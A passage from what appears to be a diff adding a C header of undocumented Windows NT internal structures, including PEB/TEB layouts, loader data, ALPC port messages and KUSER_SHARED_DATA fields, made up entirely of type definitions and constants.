LDR_DLL_UNLOADED_NOTIFICATION_DATA, * PLDR_DLL_UNLOADED_NOTIFICATION_DATA; + +typedef union _LDR_DLL_NOTIFICATION_DATA { + LDR_DLL_LOADED_NOTIFICATION_DATA Loaded; + LDR_DLL_UNLOADED_NOTIFICATION_DATA Unloaded; +} LDR_DLL_NOTIFICATION_DATA, * PLDR_DLL_NOTIFICATION_DATA; +typedef const LDR_DLL_NOTIFICATION_DATA* PCLDR_DLL_NOTIFICATION_DATA; + +#define LDR_DLL_NOTIFICATION_REASON_LOADED 1 +#define LDR_DLL_NOTIFICATION_REASON_UNLOADED 2 + +/* +* WDM END +*/ + +/* +* NTQSI Modules START +*/ + +typedef struct _RTL_PROCESS_MODULE_INFORMATION { + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES { + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; + +/* +* NTQSI Modules END +*/ + +/* +** Virtual Memory START +*/ + +typedef enum _MEMORY_INFORMATION_CLASS +{ + MemoryBasicInformation, + MemoryWorkingSetInformation, + MemoryMappedFilenameInformation, + MemoryRegionInformation, + MemoryWorkingSetExInformation +} MEMORY_INFORMATION_CLASS, * PMEMORY_INFORMATION_CLASS; + +typedef struct _MEMORY_REGION_INFORMATION { + PVOID AllocationBase; + ULONG AllocationProtect; + ULONG RegionType; + SIZE_T RegionSize; +} MEMORY_REGION_INFORMATION, * PMEMORY_REGION_INFORMATION; + +/* +** Virtual Memory END +*/ + +/* +** System Firmware START +*/ + +typedef enum _SYSTEM_FIRMWARE_TABLE_ACTION +{ + SystemFirmwareTable_Enumerate, + SystemFirmwareTable_Get +} SYSTEM_FIRMWARE_TABLE_ACTION, * PSYSTEM_FIRMWARE_TABLE_ACTION; + +typedef struct _SYSTEM_FIRMWARE_TABLE_INFORMATION { + ULONG ProviderSignature; + SYSTEM_FIRMWARE_TABLE_ACTION Action; + ULONG TableID; + ULONG TableBufferLength; + UCHAR TableBuffer[ANYSIZE_ARRAY]; +} SYSTEM_FIRMWARE_TABLE_INFORMATION, * PSYSTEM_FIRMWARE_TABLE_INFORMATION; + +/* +** System Firmware END +*/ + +// +// PEB/TEB +// +#define GDI_HANDLE_BUFFER_SIZE32 34 +#define GDI_HANDLE_BUFFER_SIZE64 60 + +#if !defined(_M_X64) +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32 +#else +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64 +#endif + +typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32]; +typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64]; +typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE]; + +#define RTL_MAX_DRIVE_LETTERS 32 +#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 + +#define GDI_MAX_HANDLE_COUNT 0x4000 + +// 32-bit definitions +typedef struct _STRING32 { + USHORT Length; + USHORT MaximumLength; + ULONG Buffer; +} STRING32; +typedef STRING32* PSTRING32; + +typedef STRING32 UNICODE_STRING32; + +#if (_MSC_VER < 1300) && !defined(_WINDOWS_) +typedef struct LIST_ENTRY32 { + DWORD Flink; + DWORD Blink; +} LIST_ENTRY32; +typedef LIST_ENTRY32* PLIST_ENTRY32; + +typedef struct LIST_ENTRY64 { + ULONGLONG Flink; + ULONGLONG Blink; +} LIST_ENTRY64; +typedef LIST_ENTRY64* PLIST_ENTRY64; +#endif + +#define WOW64_POINTER(Type) ULONG + +typedef struct _PEB_LDR_DATA32 { + ULONG Length; + BOOLEAN Initialized; + WOW64_POINTER(HANDLE) SsHandle; + LIST_ENTRY32 InLoadOrderModuleList; + LIST_ENTRY32 InMemoryOrderModuleList; + LIST_ENTRY32 InInitializationOrderModuleList; + WOW64_POINTER(PVOID) EntryInProgress; + BOOLEAN ShutdownInProgress; + WOW64_POINTER(HANDLE) ShutdownThreadId; +} PEB_LDR_DATA32, * PPEB_LDR_DATA32; + +#define LDR_DATA_TABLE_ENTRY_SIZE_WINXP32 FIELD_OFFSET( LDR_DATA_TABLE_ENTRY32, ForwarderLinks ) + +typedef struct _LDR_DATA_TABLE_ENTRY32 { + LIST_ENTRY32 InLoadOrderLinks; + LIST_ENTRY32 InMemoryOrderLinks; + LIST_ENTRY32 InInitializationOrderLinks; + WOW64_POINTER(PVOID) DllBase; + WOW64_POINTER(PVOID) EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING32 FullDllName; + UNICODE_STRING32 BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT TlsIndex; + union + { + LIST_ENTRY32 HashLinks; + struct + { + WOW64_POINTER(PVOID) SectionPointer; + ULONG CheckSum; + }; + }; + union + { + ULONG TimeDateStamp; + WOW64_POINTER(PVOID) LoadedImports; + }; + WOW64_POINTER(PVOID) EntryPointActivationContext; + WOW64_POINTER(PVOID) PatchInformation; + LIST_ENTRY32 ForwarderLinks; + LIST_ENTRY32 ServiceTagLinks; + LIST_ENTRY32 StaticLinks; + WOW64_POINTER(PVOID) ContextInformation; + WOW64_POINTER(ULONG_PTR) OriginalBase; + LARGE_INTEGER LoadTime; +} LDR_DATA_TABLE_ENTRY32, * PLDR_DATA_TABLE_ENTRY32; + +typedef struct _CURDIR32 { + UNICODE_STRING32 DosPath; + WOW64_POINTER(HANDLE) Handle; +} CURDIR32, * PCURDIR32; + +typedef struct _RTL_DRIVE_LETTER_CURDIR32 { + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + STRING32 DosPath; +} RTL_DRIVE_LETTER_CURDIR32, * PRTL_DRIVE_LETTER_CURDIR32; + +typedef struct _RTL_USER_PROCESS_PARAMETERS32 { + ULONG MaximumLength; + ULONG Length; + + ULONG Flags; + ULONG DebugFlags; + + WOW64_POINTER(HANDLE) ConsoleHandle; + ULONG ConsoleFlags; + WOW64_POINTER(HANDLE) StandardInput; + WOW64_POINTER(HANDLE) StandardOutput; + WOW64_POINTER(HANDLE) StandardError; + + CURDIR32 CurrentDirectory; + UNICODE_STRING32 DllPath; + UNICODE_STRING32 ImagePathName; + UNICODE_STRING32 CommandLine; + WOW64_POINTER(PVOID) Environment; + + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING32 WindowTitle; + UNICODE_STRING32 DesktopInfo; + UNICODE_STRING32 ShellInfo; + UNICODE_STRING32 RuntimeData; + RTL_DRIVE_LETTER_CURDIR32 CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; + + ULONG EnvironmentSize; + ULONG EnvironmentVersion; +} RTL_USER_PROCESS_PARAMETERS32, * PRTL_USER_PROCESS_PARAMETERS32; + +typedef struct _PEB32 { + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsLegacyProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN SpareBits : 3; + }; + }; + WOW64_POINTER(HANDLE) Mutant; + + WOW64_POINTER(PVOID) ImageBaseAddress; + WOW64_POINTER(PPEB_LDR_DATA) Ldr; + WOW64_POINTER(PRTL_USER_PROCESS_PARAMETERS) ProcessParameters; + WOW64_POINTER(PVOID) SubSystemData; + WOW64_POINTER(PVOID) ProcessHeap; + WOW64_POINTER(PRTL_CRITICAL_SECTION) FastPebLock; + WOW64_POINTER(PVOID) AtlThunkSListPtr; + WOW64_POINTER(PVOID) IFEOKey; + union + { + ULONG CrossProcessFlags; + struct + { + ULONG ProcessInJob : 1; + ULONG ProcessInitializing : 1; + ULONG ProcessUsingVEH : 1; + ULONG ProcessUsingVCH : 1; + ULONG ProcessUsingFTH : 1; + ULONG ReservedBits0 : 27; + }; + ULONG EnvironmentUpdateCount; + }; + union + { + WOW64_POINTER(PVOID) KernelCallbackTable; + WOW64_POINTER(PVOID) UserSharedInfoPtr; + }; + ULONG SystemReserved[1]; + ULONG AtlThunkSListPtr32; + WOW64_POINTER(PVOID) ApiSetMap; + ULONG TlsExpansionCounter; + WOW64_POINTER(PVOID) TlsBitmap; + ULONG TlsBitmapBits[2]; + WOW64_POINTER(PVOID) ReadOnlySharedMemoryBase; + WOW64_POINTER(PVOID) HotpatchInformation; + WOW64_POINTER(PPVOID) ReadOnlyStaticServerData; + WOW64_POINTER(PVOID) AnsiCodePageData; + WOW64_POINTER(PVOID) OemCodePageData; + WOW64_POINTER(PVOID) UnicodeCaseTableData; + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + LARGE_INTEGER CriticalSectionTimeout; + WOW64_POINTER(SIZE_T) HeapSegmentReserve; + WOW64_POINTER(SIZE_T) HeapSegmentCommit; + WOW64_POINTER(SIZE_T) HeapDeCommitTotalFreeThreshold; + WOW64_POINTER(SIZE_T) HeapDeCommitFreeBlockThreshold; + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + WOW64_POINTER(PPVOID) ProcessHeaps; + + WOW64_POINTER(PVOID) GdiSharedHandleTable; + WOW64_POINTER(PVOID) ProcessStarterHelper; + ULONG GdiDCAttributeList; + + WOW64_POINTER(PRTL_CRITICAL_SECTION) LoaderLock; + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + WOW64_POINTER(ULONG_PTR) ImageProcessAffinityMask; + GDI_HANDLE_BUFFER32 GdiHandleBuffer; + WOW64_POINTER(PVOID) PostProcessInitRoutine; + + WOW64_POINTER(PVOID) TlsExpansionBitmap; + ULONG TlsExpansionBitmapBits[32]; + + ULONG SessionId; + + // Rest of structure not included. +} PEB32, * PPEB32; + +#define GDI_BATCH_BUFFER_SIZE 310 + +typedef struct _GDI_TEB_BATCH32 { + ULONG Offset; + WOW64_POINTER(ULONG_PTR) HDC; + ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; +} GDI_TEB_BATCH32, * PGDI_TEB_BATCH32; + +#if (_MSC_VER < 1300) && !defined(_WINDOWS_) +// +// 32 and 64 bit specific version for wow64 and the debugger +// +typedef struct _NT_TIB32 { + DWORD ExceptionList; + DWORD StackBase; + DWORD StackLimit; + DWORD SubSystemTib; + union { + DWORD FiberData; + DWORD Version; + }; + DWORD ArbitraryUserPointer; + DWORD Self; +} NT_TIB32, * PNT_TIB32; + +typedef struct _NT_TIB64 { + DWORD64 ExceptionList; + DWORD64 StackBase; + DWORD64 StackLimit; + DWORD64 SubSystemTib; + union { + DWORD64 FiberData; + DWORD Version; + }; + DWORD64 ArbitraryUserPointer; + DWORD64 Self; +} NT_TIB64, * PNT_TIB64; +#endif + +typedef struct _TEB32 { + NT_TIB32 NtTib; + + WOW64_POINTER(PVOID) EnvironmentPointer; + CLIENT_ID32 ClientId; + WOW64_POINTER(PVOID) ActiveRpcHandle; + WOW64_POINTER(PVOID) ThreadLocalStoragePointer; + WOW64_POINTER(PPEB) ProcessEnvironmentBlock; + + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + WOW64_POINTER(PVOID) CsrClientThread; + WOW64_POINTER(PVOID) Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + WOW64_POINTER(PVOID) WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + WOW64_POINTER(PVOID) SystemReserved1[54]; + NTSTATUS ExceptionCode; + WOW64_POINTER(PVOID) ActivationContextStackPointer; + BYTE SpareBytes[36]; + ULONG TxFsContext; + + GDI_TEB_BATCH32 GdiTebBatch; + CLIENT_ID32 RealClientId; + WOW64_POINTER(HANDLE) GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + WOW64_POINTER(PVOID) GdiThreadLocalInfo; + WOW64_POINTER(ULONG_PTR) Win32ClientInfo[62]; + WOW64_POINTER(PVOID) glDispatchTable[233]; + WOW64_POINTER(ULONG_PTR) glReserved1[29]; + WOW64_POINTER(PVOID) glReserved2; + WOW64_POINTER(PVOID) glSectionInfo; + WOW64_POINTER(PVOID) glSection; + WOW64_POINTER(PVOID) glTable; + WOW64_POINTER(PVOID) glCurrentRC; + WOW64_POINTER(PVOID) glContext; + + NTSTATUS LastStatusValue; + UNICODE_STRING32 StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + + WOW64_POINTER(PVOID) DeallocationStack; + WOW64_POINTER(PVOID) TlsSlots[64]; + LIST_ENTRY32 TlsLinks; +} TEB32, * PTEB32; + +typedef struct _PEB_LDR_DATA { + ULONG Length; + BOOLEAN Initialized; + HANDLE SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID EntryInProgress; + BOOLEAN ShutdownInProgress; + HANDLE ShutdownThreadId; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +typedef struct _GDI_HANDLE_ENTRY { + union + { + PVOID Object; + PVOID NextFree; + }; + union + { + struct + { + USHORT ProcessId; + USHORT Lock : 1; + USHORT Count : 15; + }; + ULONG Value; + } Owner; + USHORT Unique; + UCHAR Type; + UCHAR Flags; + PVOID UserPointer; +} GDI_HANDLE_ENTRY, * PGDI_HANDLE_ENTRY; + +typedef struct _GDI_SHARED_MEMORY { + GDI_HANDLE_ENTRY Handles[GDI_MAX_HANDLE_COUNT]; +} GDI_SHARED_MEMORY, * PGDI_SHARED_MEMORY; + +#define FLS_MAXIMUM_AVAILABLE 128 +#define TLS_MINIMUM_AVAILABLE 64 +#define TLS_EXPANSION_SLOTS 1024 + +#define DOS_MAX_COMPONENT_LENGTH 255 +#define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5) + +typedef struct _CURDIR +{ + UNICODE_STRING DosPath; + HANDLE Handle; +} CURDIR, * PCURDIR; + +#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 +#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 + +typedef struct _RTL_DRIVE_LETTER_CURDIR +{ + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + STRING DosPath; +} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR; + +typedef struct _RTL_USER_PROCESS_PARAMETERS +{ + ULONG MaximumLength; + ULONG Length; + + ULONG Flags; + ULONG DebugFlags; + + HANDLE ConsoleHandle; + ULONG ConsoleFlags; + HANDLE StandardInput; + HANDLE StandardOutput; + HANDLE StandardError; + + CURDIR CurrentDirectory; + UNICODE_STRING DllPath; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; + PVOID Environment; + + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING WindowTitle; + UNICODE_STRING DesktopInfo; + UNICODE_STRING ShellInfo; + UNICODE_STRING RuntimeData; + RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; + + ULONG EnvironmentSize; + ULONG EnvironmentVersion; + PVOID PackageDependencyData; //8+ + ULONG ProcessGroupId; + // ULONG LoaderThreads; +} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS; + +typedef struct _PEB +{ + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsLegacyProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN SpareBits : 3; + }; + }; + HANDLE Mutant; + + PVOID ImageBaseAddress; + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PRTL_CRITICAL_SECTION FastPebLock; + PVOID AtlThunkSListPtr; + PVOID IFEOKey; + union + { + ULONG CrossProcessFlags; + struct + { + ULONG ProcessInJob : 1; + ULONG ProcessInitializing : 1; + ULONG ProcessUsingVEH : 1; + ULONG ProcessUsingVCH : 1; + ULONG ProcessUsingFTH : 1; + ULONG ReservedBits0 : 27; + }; + ULONG EnvironmentUpdateCount; + }; + union + { + PVOID KernelCallbackTable; + PVOID UserSharedInfoPtr; + }; + ULONG SystemReserved[1]; + ULONG AtlThunkSListPtr32; + PVOID ApiSetMap; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[2]; + PVOID ReadOnlySharedMemoryBase; + PVOID HotpatchInformation; + PVOID* ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + LARGE_INTEGER CriticalSectionTimeout; + SIZE_T HeapSegmentReserve; + SIZE_T HeapSegmentCommit; + SIZE_T HeapDeCommitTotalFreeThreshold; + SIZE_T HeapDeCommitFreeBlockThreshold; + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PVOID* ProcessHeaps; + + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + ULONG GdiDCAttributeList; + + PRTL_CRITICAL_SECTION LoaderLock; + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + ULONG_PTR ImageProcessAffinityMask; + GDI_HANDLE_BUFFER GdiHandleBuffer; + PVOID PostProcessInitRoutine; + + PVOID TlsExpansionBitmap; + ULONG TlsExpansionBitmapBits[32]; + + ULONG SessionId; + + ULARGE_INTEGER AppCompatFlags; + ULARGE_INTEGER AppCompatFlagsUser; + PVOID pShimData; + PVOID AppCompatInfo; + + UNICODE_STRING CSDVersion; + + PVOID ActivationContextData; + PVOID ProcessAssemblyStorageMap; + PVOID SystemDefaultActivationContextData; + PVOID SystemAssemblyStorageMap; + + SIZE_T MinimumStackCommit; + + PVOID* FlsCallback; + LIST_ENTRY FlsListHead; + PVOID FlsBitmap; + ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)]; + ULONG FlsHighIndex; + + PVOID WerRegistrationData; + PVOID WerShipAssertPtr; + PVOID pContextData; + PVOID pImageHeaderHash; + union + { + ULONG TracingFlags; + struct + { + ULONG HeapTracingEnabled : 1; + ULONG CritSecTracingEnabled : 1; + ULONG SpareTracingBits : 30; + }; + }; +} PEB, * PPEB; + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT +{ + ULONG Flags; + PSTR FrameName; +} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT; + +typedef struct _TEB_ACTIVE_FRAME +{ + ULONG Flags; + struct _TEB_ACTIVE_FRAME* Previous; + PTEB_ACTIVE_FRAME_CONTEXT Context; +} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME; + +#define GDI_BATCH_BUFFER_SIZE 310 + +typedef struct _GDI_TEB_BATCH { + ULONG Offset; + UCHAR Alignment[4]; + ULONG_PTR HDC; + ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; +} GDI_TEB_BATCH, * PGDI_TEB_BATCH; + +typedef struct _TEB +{ + NT_TIB NtTib; + + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + PVOID WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + PVOID SystemReserved1[54]; + NTSTATUS ExceptionCode; + PVOID ActivationContextStackPointer; +#if defined(_M_X64) + UCHAR SpareBytes[24]; +#else + UCHAR SpareBytes[36]; +#endif + ULONG TxFsContext; + + GDI_TEB_BATCH GdiTebBatch; + CLIENT_ID RealClientId; + HANDLE GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocalInfo; + ULONG_PTR Win32ClientInfo[62]; + PVOID glDispatchTable[233]; + ULONG_PTR glReserved1[29]; + PVOID glReserved2; + PVOID glSectionInfo; + PVOID glSection; + PVOID glTable; + PVOID glCurrentRC; + PVOID glContext; + + NTSTATUS LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + + PVOID DeallocationStack; + PVOID TlsSlots[64]; + LIST_ENTRY TlsLinks; + + PVOID Vdm; + PVOID ReservedForNtRpc; + PVOID DbgSsReserved[2]; + + ULONG HardErrorMode; +#if defined(_M_X64) + PVOID Instrumentation[11]; +#else + PVOID Instrumentation[9]; +#endif + GUID ActivityId; + + PVOID SubProcessTag; + PVOID EtwLocalData; + PVOID EtwTraceData; + PVOID WinSockData; + ULONG GdiBatchCount; + + union + { + PROCESSOR_NUMBER CurrentIdealProcessor; + ULONG IdealProcessorValue; + struct + { + UCHAR ReservedPad0; + UCHAR ReservedPad1; + UCHAR ReservedPad2; + UCHAR IdealProcessor; + }; + }; + + ULONG GuaranteedStackBytes; + PVOID ReservedForPerf; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; + PVOID SavedPriorityState; + ULONG_PTR SoftPatchPtr1; + PVOID ThreadPoolData; + PVOID* TlsExpansionSlots; +#if defined(_M_X64) + PVOID DeallocationBStore; + PVOID BStoreLimit; +#endif + ULONG MuiGeneration; + ULONG IsImpersonating; + PVOID NlsCache; + PVOID pShimData; + ULONG HeapVirtualAffinity; + HANDLE CurrentTransactionHandle; + PTEB_ACTIVE_FRAME ActiveFrame; + PVOID FlsData; + + PVOID PreferredLanguages; + PVOID UserPrefLanguages; + PVOID MergedPrefLanguages; + ULONG MuiImpersonation; + + union + { + USHORT CrossTebFlags; + USHORT SpareCrossTebBits : 16; + }; + union + { + USHORT SameTebFlags; + struct + { + USHORT SafeThunkCall : 1; + USHORT InDebugPrint : 1; + USHORT HasFiberData : 1; + USHORT SkipThreadAttach : 1; + USHORT WerInShipAssertCode : 1; + USHORT RanProcessInit : 1; + USHORT ClonedThread : 1; + USHORT SuppressDebugMsg : 1; + USHORT DisableUserStackWalk : 1; + USHORT RtlExceptionAttached : 1; + USHORT InitialThread : 1; + USHORT SpareSameTebBits : 1; + }; + }; + + PVOID TxnScopeEnterCallback; + PVOID TxnScopeExitCallback; + PVOID TxnScopeContext; + ULONG LockCount; + ULONG SpareUlong0; + PVOID ResourceRetValue; +} TEB, * PTEB; + +typedef struct _PROCESS_DEVICEMAP_INFORMATION { + union { + struct { + HANDLE DirectoryHandle; + } Set; + struct { + ULONG DriveMap; + UCHAR DriveType[32]; + } Query; + }; +} PROCESS_DEVICEMAP_INFORMATION, * PPROCESS_DEVICEMAP_INFORMATION; + +__inline struct _PEB* NtCurrentPeb() { return NtCurrentTeb()->ProcessEnvironmentBlock; } + +/* +** PEB/TEB END +*/ + +/* +** ALPC START +*/ + +typedef struct _PORT_MESSAGE { + union { + struct { + CSHORT DataLength; + CSHORT TotalLength; + } s1; + ULONG Length; + } u1; + union { + struct { + CSHORT Type; + CSHORT DataInfoOffset; + } s2; + ULONG ZeroInit; + } u2; + union { + CLIENT_ID ClientId; + double DoNotUseThisField; // Force quadword alignment + } u3; + ULONG MessageId; + union { + ULONG ClientViewSize; // Only valid on LPC_CONNECTION_REQUEST message + ULONG CallbackId; // Only valid on LPC_REQUEST message + } u4; + UCHAR Reserved[8]; +} PORT_MESSAGE, * PPORT_MESSAGE; + +// end_ntsrv + +typedef struct _PORT_DATA_ENTRY { + PVOID Base; + ULONG Size; +} PORT_DATA_ENTRY, * PPORT_DATA_ENTRY; + +typedef struct _PORT_DATA_INFORMATION { + ULONG CountDataEntries; + PORT_DATA_ENTRY DataEntries[1]; +} PORT_DATA_INFORMATION, * PPORT_DATA_INFORMATION; + +#define LPC_REQUEST 1 +#define LPC_REPLY 2 +#define LPC_DATAGRAM 3 +#define LPC_LOST_REPLY 4 +#define LPC_PORT_CLOSED 5 +#define LPC_CLIENT_DIED 6 +#define LPC_EXCEPTION 7 +#define LPC_DEBUG_EVENT 8 +#define LPC_ERROR_EVENT 9 +#define LPC_CONNECTION_REQUEST 10 + +#define PORT_VALID_OBJECT_ATTRIBUTES (OBJ_CASE_INSENSITIVE) +#define PORT_MAXIMUM_MESSAGE_LENGTH 256 + +typedef struct _LPC_CLIENT_DIED_MSG { + PORT_MESSAGE PortMsg; + LARGE_INTEGER CreateTime; +} LPC_CLIENT_DIED_MSG, * PLPC_CLIENT_DIED_MSG; + +//#pragma pack(push, 1) +typedef struct _PORT_VIEW { + ULONG Length; + HANDLE SectionHandle; + ULONG SectionOffset; + SIZE_T ViewSize; + PVOID ViewBase; + PVOID ViewRemoteBase; +} PORT_VIEW, * PPORT_VIEW; + +typedef struct _REMOTE_PORT_VIEW { + ULONG Length; + SIZE_T ViewSize; + PVOID ViewBase; +} REMOTE_PORT_VIEW, * PREMOTE_PORT_VIEW; +//#pragma pack(pop) +/* +** ALPC END +*/ + +/* +** KUSER_SHARED_DATA START +*/ + +typedef struct _KSYSTEM_TIME { + ULONG LowPart; + LONG High1Time; + LONG High2Time; +} KSYSTEM_TIME, * PKSYSTEM_TIME; + +typedef enum _NT_PRODUCT_TYPE { + NtProductWinNt = 1, + NtProductLanManNt, + NtProductServer +} NT_PRODUCT_TYPE, * PNT_PRODUCT_TYPE; + +#define PROCESSOR_FEATURE_MAX 64 + +typedef enum _ALTERNATIVE_ARCHITECTURE_TYPE { + StandardDesign, // None == 0 == standard design + NEC98x86, // NEC PC98xx series on X86 + EndAlternatives // past end of known alternatives +} ALTERNATIVE_ARCHITECTURE_TYPE; + +// +// Define Address of User Shared Data +// +#define MM_SHARED_USER_DATA_VA 0x000000007FFE0000 + +// +// WARNING: this definition is compatibility only. +// Structure is incomplete. Only important fields. +// +typedef struct _KUSER_SHARED_DATA_COMPAT { + ULONG TickCountLowDeprecated; + ULONG TickCountMultiplier; + volatile KSYSTEM_TIME InterruptTime; + volatile KSYSTEM_TIME SystemTime; + volatile KSYSTEM_TIME TimeZoneBias; + USHORT ImageNumberLow; + USHORT ImageNumberHigh; + WCHAR NtSystemRoot[260]; + ULONG MaxStackTraceDepth; + ULONG CryptoExponent; + ULONG TimeZoneId; + ULONG LargePageMinimum; + + union { + ULONG Reserved2[7]; + struct { + ULONG AitSamplingValue; + ULONG AppCompatFlag; + struct { + ULONG LowPart; + ULONG HighPart; + } RNGSeedVersion; + ULONG GlobalValidationRunlevel; + ULONG TimeZoneBiasStamp; + ULONG ReservedField; + }; + }; + + NT_PRODUCT_TYPE NtProductType; + BOOLEAN ProductTypeIsValid; + ULONG NtMajorVersion; + ULONG NtMinorVersion; + BOOLEAN ProcessorFeatures[PROCESSOR_FEATURE_MAX]; + ULONG Reserved1; + ULONG Reserved3; + volatile ULONG TimeSlip; + ALTERNATIVE_ARCHITECTURE_TYPE AlternativeArchitecture; + ULONG AltArchitecturePad; + LARGE_INTEGER SystemExpirationDate; + ULONG SuiteMask; + BOOLEAN KdDebuggerEnabled; + + union { + UCHAR MitigationPolicies; + struct { + UCHAR NXSupportPolicy : 2; + UCHAR SEHValidationPolicy : 2; + UCHAR CurDirDevicesSkippedForDlls : 2; + UCHAR Reserved : 2; + UCHAR Reserved6[2]; + }; + }; + + volatile ULONG ActiveConsoleId; + volatile ULONG DismountCount; + ULONG ComPlusPackage; + ULONG LastSystemRITEventTickCount; + ULONG NumberOfPhysicalPages; + BOOLEAN SafeBootMode; + UCHAR Reserved12[3]; + + union { + ULONG SharedDataFlags; + struct { + ULONG DbgErrorPortPresent : 1; + ULONG DbgElevationEnabled : 1; + ULONG DbgVirtEnabled : 1; + ULONG DbgInstallerDetectEnabled : 1; + ULONG DbgLkgEnabled : 1; + ULONG DbgDynProcessorEnabled : 1; + ULONG DbgConsoleBrokerEnabled : 1; + ULONG DbgSecureBootEnabled : 1; + ULONG DbgMultiSessionSku : 1; + ULONG DbgMultiUsersInSessionSku : 1; + ULONG SpareBits : 22; + }; + }; + + //incomplete + +} KUSER_SHARED_DATA, * PKUSER_SHARED_DATA; + +#define USER_SHARED_DATA ((KUSER_SHARED_DATA * const)MM_SHARED_USER_DATA_VA) + +/* +** KUSER_SHARED_DATA END +*/ + +/* +** FLT MANAGER START +*/ + +#define FLTFL_MANDATORY_UNLOAD_IN_PROGRESS 0x1 +#define FLTFL_FILTERING_INITIATED 0x2 +#define FLTFL_NAME_PROVIDER 0x4 +#define FLTFL_SUPPORTS_PIPES_MAILSLOTS 0x8 + +#define FLT_OBFL_DRAINING 0x1 +#define 